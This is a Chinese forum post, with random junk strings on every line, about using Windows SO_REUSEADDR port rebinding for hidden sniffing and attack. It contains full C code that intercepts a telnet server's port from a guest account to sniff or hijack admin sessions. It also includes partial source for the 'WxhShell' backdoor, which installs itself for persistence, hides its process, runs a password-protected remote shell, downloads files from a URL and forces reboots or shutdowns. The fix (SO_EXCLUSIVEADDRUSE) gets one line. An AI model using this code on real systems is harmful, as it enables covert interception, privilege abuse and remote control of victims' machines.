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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: p< jM%fbZk  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [,p[%Dza  
ucC'SS  
  saddr.sin_family = AF_INET; Ps7Bt(/  
&r !*Y&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .^* .-8q  
"zBYhZr  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S4(lC%$|  
i!EN/Bd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x AR9* <-  
FFqqAT5  
  这意味着什么?意味着可以进行如下的攻击: \P0>TWE  
M&K'5G)7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *H%Jgz,  
C)`y<O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =P<7tsSuoK  
BDT1qiC  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Ucz`^}+  
PWThm ooP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &8uq5uKg  
JN-wToOF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E h>qUa  
{kgV3 [%>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2_lb +@[W  
ey>V^Fj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r@Tq-o  
x0_$,Tz@  
  #include }*I:0"WH  
  #include E"$AOM?(*i  
  #include p+ bT{:  
  #include    BliL1"".  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z-,' M tD  
  int main() k~ZE4^dM  
  { %$L!N-U6  
  WORD wVersionRequested; d@-bt s&3  
  DWORD ret; xA>O4S D  
  WSADATA wsaData; ;y"q uJ'O  
  BOOL val; Mm+kG'Z!S  
  SOCKADDR_IN saddr; 8P= z"y  
  SOCKADDR_IN scaddr; _+hf.[""  
  int err; (:]on^|  
  SOCKET s; jN43vHm\Y9  
  SOCKET sc; 7Z+4F=2ff  
  int caddsize; c>%+y+b{  
  HANDLE mt; V.*0k~  
  DWORD tid;   *CtO Q  
  wVersionRequested = MAKEWORD( 2, 2 ); o3~ecJ?k  
  err = WSAStartup( wVersionRequested, &wsaData ); O_jf)N\pi  
  if ( err != 0 ) { J2W:Q  
  printf("error!WSAStartup failed!\n"); R4Vi*H  
  return -1; jNa'l<dn]  
  } @] ` _+\y  
  saddr.sin_family = AF_INET; y BwgLn  
   Td !7Rx _  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b-rgiR$cg  
,f;YJHEx8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :Ojsj_Z;;  
  saddr.sin_port = htons(23); pIy+3&\e;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !!4` #Z0+#  
  { D> |R.{  
  printf("error!socket failed!\n"); fYuz39#*  
  return -1; b+.P4+  
  } tz&oe  
  val = TRUE; ir%?J&C+t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 q;p:)Q"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VnB"0 "%w  
  { b]X c5Dp{  
  printf("error!setsockopt failed!\n"); ny:4L{)  
  return -1; 7]w]i5  
  } QVVR_1Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CfoT$g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *0GR }k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 VYb6#sl  
&cEQ6('H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wua`e <"  
  { Bu\:+3)  
  ret=GetLastError(); +&7D ;wj=  
  printf("error!bind failed!\n"); BuE=(v2}  
  return -1; Tq7cZe"6  
  } Jf-4Q!  
  listen(s,2); 7r?s)ZV  
  while(1) Qb}1tn)  
  { n9}3>~ll  
  caddsize = sizeof(scaddr); JlZU31Xws  
  //接受连接请求 %4/>7 aB]Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Vnu*+  
  if(sc!=INVALID_SOCKET) #3l&N4/  
  { ]D@_cxud3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8%qHy1  
  if(mt==NULL) 4PwjG;!K  
  { $y\\ ?  
  printf("Thread Creat Failed!\n"); QN!$41A?{  
  break; HD1+0<  
  } f,'gQ5\ X3  
  } IXaF(2>  
  CloseHandle(mt); ^Gc#D:zU  
  } s%K 9;(RWI  
  closesocket(s); }i7Gv K<[:  
  WSACleanup(); Hp2y sU  
  return 0; dy^Zlu` f  
  }   p<w2e  
  DWORD WINAPI ClientThread(LPVOID lpParam) =}6yMR!4R<  
  { 6tC0F=  
  SOCKET ss = (SOCKET)lpParam; 3_:J`xX(4  
  SOCKET sc; D\}A{I92F4  
  unsigned char buf[4096]; &\Es\qVSf  
  SOCKADDR_IN saddr; &R\t<X9 n  
  long num; >}tm8|IHoo  
  DWORD val; cN}Aeo  
  DWORD ret; SLyeonM-C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Cy'0O>v5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0=3Av8  
  saddr.sin_family = AF_INET; 5E|y5|8fb  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Oq-O|qJj  
  saddr.sin_port = htons(23); 7q2G/_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K'6dlwn).  
  { "enGWI H  
  printf("error!socket failed!\n"); %s}c#n)N  
  return -1; %|&WcpQR  
  } 8J}gj7^8  
  val = 100; osS?SuQTE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?U\@?@  
  { AATiI+\S  
  ret = GetLastError(); t u )kWDk  
  return -1; K\w:'%>-  
  } n&? --9r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D<-MbK^S  
  { Sm@T/+uG:  
  ret = GetLastError(); O$=[m9V  
  return -1; i(hI\hD  
  } r5h+_&v,M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e} =tUdDf  
  { {$,t^hd  
  printf("error!socket connect failed!\n"); {tq.c9+!d  
  closesocket(sc); bqmb|mD  
  closesocket(ss); ~J :cod  
  return -1; C,2k W`[V  
  } IY Ilab\TZ  
  while(1) 1{ TmK9U  
  { Q{s9{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i%M6$or  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 c Z6Zx]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ev adY  
  num = recv(ss,buf,4096,0); ~N<zv( {lG  
  if(num>0) 5cr d.1@^  
  send(sc,buf,num,0); g j(|#n5C  
  else if(num==0) Fx6c*KNX3  
  break; tZW2TUM]  
  num = recv(sc,buf,4096,0); f6\`eLGi1  
  if(num>0) k/ 6Qwb#  
  send(ss,buf,num,0); :Pa^/i  
  else if(num==0) }XJA#@  
  break; TuF;>{~}  
  } ,".1![b  
  closesocket(ss); k0@b"y*  
  closesocket(sc); P2U^%_~  
  return 0 ; ~F gxhK2+  
  } ?Xdb%.   
k}MmgaT:5]  
>bwB+-lyL  
========================================================== [{}Hk%wlX  
z|p C*1A\  
下边附上一个代码,,WXhSHELL s7"NK"  
]Alv5?E60  
========================================================== TBAF_$  
| z 1  
#include "stdafx.h" %T~3xQ  
MBeubS  
#include <stdio.h> i?{cB!7  
#include <string.h> sbeS9vE  
#include <windows.h> v[++"=< o8  
#include <winsock2.h> XfYMv38(  
#include <winsvc.h> SauX C  
#include <urlmon.h> RgB5'$x}  
3FD6.X>x  
#pragma comment (lib, "Ws2_32.lib") 0Yzm\"Ggv  
#pragma comment (lib, "urlmon.lib") <$ "   
F'~\!dNL  
#define MAX_USER   100 // 最大客户端连接数 Fv| )[>z0  
#define BUF_SOCK   200 // sock buffer 2LO8SJ#  
#define KEY_BUFF   255 // 输入 buffer Xr B)[kQ  
aEL^N0\d  
#define REBOOT     0   // 重启 `(2Y%L(r  
#define SHUTDOWN   1   // 关机 e-Pn,j  
xtWwz}^8]  
#define DEF_PORT   5000 // 监听端口 CyR1.|!@  
\LN!k-c  
#define REG_LEN     16   // 注册表键长度 -:$#koW  
#define SVC_LEN     80   // NT服务名长度 4qsP/`8  
9;ZaL7>  
// 从dll定义API [w1 4hHnq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pXoD*o b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8M<\?JD~_f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jTeHI|b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S)?V;@p6  
%0y_WIjz  
// wxhshell配置信息 D1ep7ykY  
struct WSCFG { Z,jR:_ p  
  int ws_port;         // 监听端口 efT@A}sV  
  char ws_passstr[REG_LEN]; // 口令 l;~b:[r  
  int ws_autoins;       // 安装标记, 1=yes 0=no s*g`| E{M  
  char ws_regname[REG_LEN]; // 注册表键名 xWiR7~E  
  char ws_svcname[REG_LEN]; // 服务名 fk6`DUBV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {Xjj-@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (9]8r2|.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6rP?$mn2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no prk@uYCa =  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `X8wnD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !l(O$T9 T  
"mtEjK5  
}; GJ9'i-\*\  
`K%f"by  
// default Wxhshell configuration )/p=ZH0[  
struct WSCFG wscfg={DEF_PORT, D\4pLm"!v  
    "xuhuanlingzhe", I2&R+~ktR  
    1, 1_=I\zx(  
    "Wxhshell", "hbCP4  
    "Wxhshell", PwC9@c%c  
            "WxhShell Service", +jPJv[W  
    "Wrsky Windows CmdShell Service", WA?We7m$  
    "Please Input Your Password: ", _{ Np _ (g  
  1, J4woZ{d  
  "http://www.wrsky.com/wxhshell.exe", ZL7#44  
  "Wxhshell.exe" !*\ J4bJe  
    }; Jv8JCu"eky  
BwJL)$D<S  
// 消息定义模块 Qq|c%FZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~VKuRli|m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y 9SaYSX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !q8"Q t  
char *msg_ws_ext="\n\rExit."; gb^<6BYUG  
char *msg_ws_end="\n\rQuit."; EK%J%NY  
char *msg_ws_boot="\n\rReboot..."; ~_]i'ii8  
char *msg_ws_poff="\n\rShutdown..."; Gf->N `N  
char *msg_ws_down="\n\rSave to "; l:.q1UV  
\dHdL\f  
char *msg_ws_err="\n\rErr!"; sJ>JHv  
char *msg_ws_ok="\n\rOK!"; riu_^!"Z_  
~p!=w#/  
char ExeFile[MAX_PATH]; 4;|@eN  
int nUser = 0; @UK%l :L  
HANDLE handles[MAX_USER]; }~+q S`  
int OsIsNt; M/abd 7q  
W}iDT?Qi  
SERVICE_STATUS       serviceStatus; ul&}'jBr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c D5N'3  
tJa*(%Z?f  
// 函数声明 \hO}3;*&  
int Install(void); sDZ<X A  
int Uninstall(void); ?X'l&k>  
int DownloadFile(char *sURL, SOCKET wsh); NtDxwzj  
int Boot(int flag); CxV$_J  
void HideProc(void); ,{jF)NQaP  
int GetOsVer(void); MFtC2*  
int Wxhshell(SOCKET wsl); r @URs;O=  
void TalkWithClient(void *cs); 5{|tE!  
int CmdShell(SOCKET sock); q |Orv =v  
int StartFromService(void); @#>YU  
int StartWxhshell(LPSTR lpCmdLine); tE$oV  
2~ y<l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Da)H/3ii  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n.b_fkZNr  
7csMk5NU'<  
// 数据结构和表定义  5?34<B  
SERVICE_TABLE_ENTRY DispatchTable[] = 5@nv cCp  
{ d9.I83SS  
{wscfg.ws_svcname, NTServiceMain}, 6[3>[ej:x  
{NULL, NULL} j\\uW)ibG  
}; [2.;gZj  
K9_@[}Ge  
// 自我安装 lhBu?q  
int Install(void) Ro.br:'Bw  
{ U}<'[o V  
  char svExeFile[MAX_PATH]; HXP/2&|JY  
  HKEY key; G<FB:?|  
  strcpy(svExeFile,ExeFile); iTVepYv4m  
ZPlY]e  
// 如果是win9x系统,修改注册表设为自启动 9`Y\`F#}q  
if(!OsIsNt) { rebWXz7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G4,.kK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A(1WQUu j  
  RegCloseKey(key); M6lNdK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @^t1SPp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m+EtB6r  
  RegCloseKey(key); 'p&q}IO  
  return 0; 5n1T7-QCL  
    } ?/YT,W<c;&  
  } CP LsSv5  
}  +wE>h>?;  
else { 2Xqa?ay0>  
3RP\w~?  
// 如果是NT以上系统,安装为系统服务 >/9Qgyc 0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m/"}Y]n!  
if (schSCManager!=0) L rhQG  
{ /& o<kY  
  SC_HANDLE schService = CreateService ,D93A  
  ( +-PFISa<r  
  schSCManager, F @uOXNz)  
  wscfg.ws_svcname, NI2-*G_M  
  wscfg.ws_svcdisp, I^?hVH  
  SERVICE_ALL_ACCESS, )rbcY0q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tilw.z  
  SERVICE_AUTO_START, VX'G\Zz@h|  
  SERVICE_ERROR_NORMAL, yUX<W'-Hev  
  svExeFile, (BZd%!  
  NULL, wF)g@cw  
  NULL, "q7pkxEuJ  
  NULL, I6Oc`S!L  
  NULL, FJIo] p  
  NULL MmW]U24s  
  ); #RWmP$+#=  
  if (schService!=0) Jzj>=jWX@  
  { c{\x< AwO  
  CloseServiceHandle(schService); hOr4C4  
  CloseServiceHandle(schSCManager); b/&{:g!B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @WuG8G  
  strcat(svExeFile,wscfg.ws_svcname); >]/aG!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tREC)+*\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qR^i5JH}u  
  RegCloseKey(key); 3 Bn9Ce=  
  return 0; uE&2M>2  
    } F>"B7:P1:Q  
  } O/lu0acI  
  CloseServiceHandle(schSCManager); s%@HchZ 1  
} AxiCpAS;J  
} ^03M~ SNCj  
dRXdV7-!  
return 1; x}jiHV@=  
} F=V_ACU  
JA "  
// 自我卸载 m$A-'*'  
int Uninstall(void) C''[[sw'K  
{ Z]k+dJ[-  
  HKEY key; vU!<-T#  
$m0-IyXcv  
if(!OsIsNt) { ntD8:%m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K~jN"ev  
  RegDeleteValue(key,wscfg.ws_regname); Kc {~Q  
  RegCloseKey(key); y9-}LET3j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X  m%aT  
  RegDeleteValue(key,wscfg.ws_regname); lKLb\F%  
  RegCloseKey(key); j?s+#t  
  return 0; c3|/8  
  } q Qc-;|8  
} ez^b{s`  
} (d}z>?L  
else { Q) Y&h'.(  
Kz9h{ Tu4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9 p`|~^X  
if (schSCManager!=0) C:P.+AU"`  
{ V1\x.0Fs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T`r\yl}  
  if (schService!=0) <UBB&}R0  
  { 1/ vcj~|)t  
  if(DeleteService(schService)!=0) { e(EXQP2P>  
  CloseServiceHandle(schService); Yc~c(1VRz  
  CloseServiceHandle(schSCManager); a+p_47 xa  
  return 0; d;LBV<Z?  
  } Tsl0$(2W  
  CloseServiceHandle(schService); Iw;J7[hJ&$  
  } .> |]Lo(=l  
  CloseServiceHandle(schSCManager); g TqtTd~L  
} tCbn B  
} ^*+-0b;[G  
mc}r15:<  
return 1; q@&.)sLPgO  
} UZ3oc[#D=]  
a?ii)GGq  
// 从指定url下载文件 l@nG?l #  
int DownloadFile(char *sURL, SOCKET wsh) m~l[Y  
{ y3)R:h4AH  
  HRESULT hr; 2a[_^v $v  
char seps[]= "/"; P1}Fn:Xe%7  
char *token; N!#TK9  
char *file; 8CN 0Q&|  
char myURL[MAX_PATH]; ^g*2jH+  
char myFILE[MAX_PATH]; So\f [/em  
J3#  
strcpy(myURL,sURL); +]NPxUa  
  token=strtok(myURL,seps); `DcZpd.n  
  while(token!=NULL) K)8N8Js(  
  { 8A3!XA  
    file=token; eWwI@ASaA  
  token=strtok(NULL,seps); Z|dng6ck  
  } WMXk-?v4  
4e5 5  
GetCurrentDirectory(MAX_PATH,myFILE); ^q ?xi5 w  
strcat(myFILE, "\\"); hu''"/raM  
strcat(myFILE, file); x1nqhSaD  
  send(wsh,myFILE,strlen(myFILE),0); c=A)_ZFg  
send(wsh,"...",3,0); $l!+SLK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6=xbi{m$  
  if(hr==S_OK) \IG"Te  
return 0; KgMW  
else < &~KYu\r  
return 1; (>gAnebN L  
f;PvXq<7"  
} YQk<1./}I  
+:fr(s!OE  
// 系统电源模块 rezH5d6z62  
int Boot(int flag) )./'`Mx?  
{ 3gzcpFNqX  
  HANDLE hToken; _& qM^  
  TOKEN_PRIVILEGES tkp; %knPeo&  
d)7V:  
  if(OsIsNt) { 9x0Ao*D<t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |6}:n,KA.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +r 2\v  
    tkp.PrivilegeCount = 1; r]+N(&q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4,pSC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (0/)vZc  
if(flag==REBOOT) { A(>kp=~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 09 >lx$  
  return 0; #aV2+`d  
} s=xJcLA  
else { G[=8Ko0U+n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dJ0qg_ U&  
  return 0; yAt,XG3  
} 7JI&tlR4\c  
  } BXf.^s{H  
  else { ;\5^yDv[e  
if(flag==REBOOT) { Pxn;]!Z #  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |:?JSi0  
  return 0; "|:I]ZB  
} z|gG%fM  
else { NhDM h8=$^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9 O/l{  
  return 0; p&%M=SzN  
} DlXthRM  
} (YJ]}J^  
j 4B|ktf  
return 1; ^YLpZoo  
} Rr'^l ]  
_+\hDV>v  
// win9x进程隐藏模块 pWwB<F  
void HideProc(void) cNd2XQB9=  
{ n^7$ST#'bV  
E"P5rT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] EzX$T  
  if ( hKernel != NULL ) mfNYN4Um6  
  { *?#t (Y[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #iot.alNA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); > CPJp!u  
    FreeLibrary(hKernel); A S#D9o  
  } aTceGyWzl  
u,6 'yB'u  
return; p2UZqq2  
} 'e(`2  
{|jG_  
// 获取操作系统版本 |$vhu`]Z@^  
int GetOsVer(void) Hlw0i a  
{ v<`1z?dch  
  OSVERSIONINFO winfo; ]eJjffx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DfCo=  
  GetVersionEx(&winfo); AF qut  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W1UG\d`2  
  return 1; 7Lr}Y/1=  
  else Q\DD^Pbq  
  return 0; :W/,V^x}  
} Wkk=x&  
+P~E54  
// 客户端句柄模块 k-( hJ}N  
int Wxhshell(SOCKET wsl) l|[8'*]r!  
{ 2HNH@K  
  SOCKET wsh; # Z*nc0C  
  struct sockaddr_in client; 4K@`>Y5g*  
  DWORD myID; Z81{v<c;  
S|8O$9{x9q  
  while(nUser<MAX_USER) q1nGj  
{ ?`hk0qX3  
  int nSize=sizeof(client); ~?pF'3q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 43mV~Oj  
  if(wsh==INVALID_SOCKET) return 1;  4^L+LY  
 (BgO<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HgwL~vG  
if(handles[nUser]==0) }@pe `AF^  
  closesocket(wsh); Ah2%LXdHA  
else U+!H/R)(  
  nUser++; R,hX *yVq  
  } &\\iD :J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4:=eO!6  
`nO!_3  
  return 0; KB,!s7A  
} ]3iu-~  
.&ynS  
// 关闭 socket a$c7d~p$I  
void CloseIt(SOCKET wsh) ^ ,Bxq^'D  
{ k!]Tg"]JAh  
closesocket(wsh); 2w=0&wG4K  
nUser--; x@I@7Pvo3  
ExitThread(0); Fc;)p88[  
} 4"e7 43(  
lA39$oJ  
// 客户端请求句柄 saH +C@_,  
void TalkWithClient(void *cs) rs@,<DV)u  
{ ~>@Dn40  
- v9V/LJ  
  SOCKET wsh=(SOCKET)cs; uBk$zs  
  char pwd[SVC_LEN]; uOEFb  
  char cmd[KEY_BUFF]; ;APpgt4  
char chr[1]; 1anV!&a<K(  
int i,j; p&F=<<C  
/q %TjQ}F  
  while (nUser < MAX_USER) { .E_`*[ 5=  
BCya5!uy  
if(wscfg.ws_passstr) { #gOITXKs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c@{,&,vsj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |WeLmy%9  
  //ZeroMemory(pwd,KEY_BUFF); ,\5]n&T;r  
      i=0; nMc d(&`N  
  while(i<SVC_LEN) { bwo"s[w  
%@U<|9 %ua  
  // 设置超时 Rww"Z=F  
  fd_set FdRead; r+HJ_R,5A  
  struct timeval TimeOut; P%smX`v  
  FD_ZERO(&FdRead); $Q|66/S^  
  FD_SET(wsh,&FdRead); Q]7Q4U  
  TimeOut.tv_sec=8; r]'AdJFt  
  TimeOut.tv_usec=0; \z8TYx@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H7)(<6b,z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;w?zmj<Dm  
9dw02bY`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ||7r'Q  
  pwd=chr[0]; C+}uH:I'L  
  if(chr[0]==0xd || chr[0]==0xa) { Y 3[<  
  pwd=0; ;W#G<M&n'  
  break; x>5#@SX J  
  } R+Ke|C  
  i++; 4;|&}Ij  
    } A 20_a;V  
.+aSa?h_  
  // 如果是非法用户,关闭 socket a2iaP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c*!bT$]~\  
} 2:i`,  
*D]/V U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BZsw(l4/0'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R\yw9!ESd  
G <m{o  
while(1) { #(CI/7 -  
SR~~rD|V  
  ZeroMemory(cmd,KEY_BUFF); a+*|P  
9VkuYm,3  
      // 自动支持客户端 telnet标准   dW!T.S  
  j=0; 6ssZg@}nf{  
  while(j<KEY_BUFF) { hW>@jT"t1C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =bf-+gZD  
  cmd[j]=chr[0]; *8"5mC ;"  
  if(chr[0]==0xa || chr[0]==0xd) { @q5!3Nz  
  cmd[j]=0; L4S Fu.J'  
  break; W ;IvR   
  }  7P]_03  
  j++; tA@#SIw  
    } -CY?~W L&  
rMpb  
  // 下载文件 XXmtpM8  
  if(strstr(cmd,"http://")) { &e_M \D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V# w$|B\  
  if(DownloadFile(cmd,wsh)) o?^j1\^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IcPIOCmOc  
  else Cb.~Dv !  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^fS~va  
  } ,_YCl09p(  
  else { Qo)>i0  
^5u}   
    switch(cmd[0]) { ctdV4%^{  
  PWLMux  
  // 帮助 >F,~QHcz  
  case '?': { O|%><I?I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fVo)# Bj  
    break; 2#6yO`?uo  
  } b)$<aFl  
  // 安装 .'+Tnu(5q  
  case 'i': { rq}ew0&/  
    if(Install()) _l}&|:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <J{VTk ~  
    else T\8|Q @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v8 ggPI  
    break; FL0(q>$*8  
    } $+S'Boo   
  // 卸载 A#2 Fd7&  
  case 'r': { n`0}g_\q  
    if(Uninstall()) .0.Ha}{6b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6/s#'#jh  
    else R S;r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0l^-[jK)  
    break; @(Ou;Uy  
    } 7qgHH p  
  // 显示 wxhshell 所在路径 $0D]d.w=  
  case 'p': { ~+QfP:G  
    char svExeFile[MAX_PATH]; e}kEh+4  
    strcpy(svExeFile,"\n\r"); :%xiH%C>  
      strcat(svExeFile,ExeFile); gHvxmIG  
        send(wsh,svExeFile,strlen(svExeFile),0); 6/.-V1*O  
    break; [P)HVFy|l  
    } }LDDm/$^}  
  // 重启 DDc?G Y:  
  case 'b': { ~naL1o_FZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h+CTi6-p  
    if(Boot(REBOOT)) 0j7\.aaK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :s$ rD  
    else { ui YZk3  
    closesocket(wsh); "l n(EvW  
    ExitThread(0); >F!2ib8  
    } & 2>W=h  
    break; +<|6y46  
    } hqD]^P>l1  
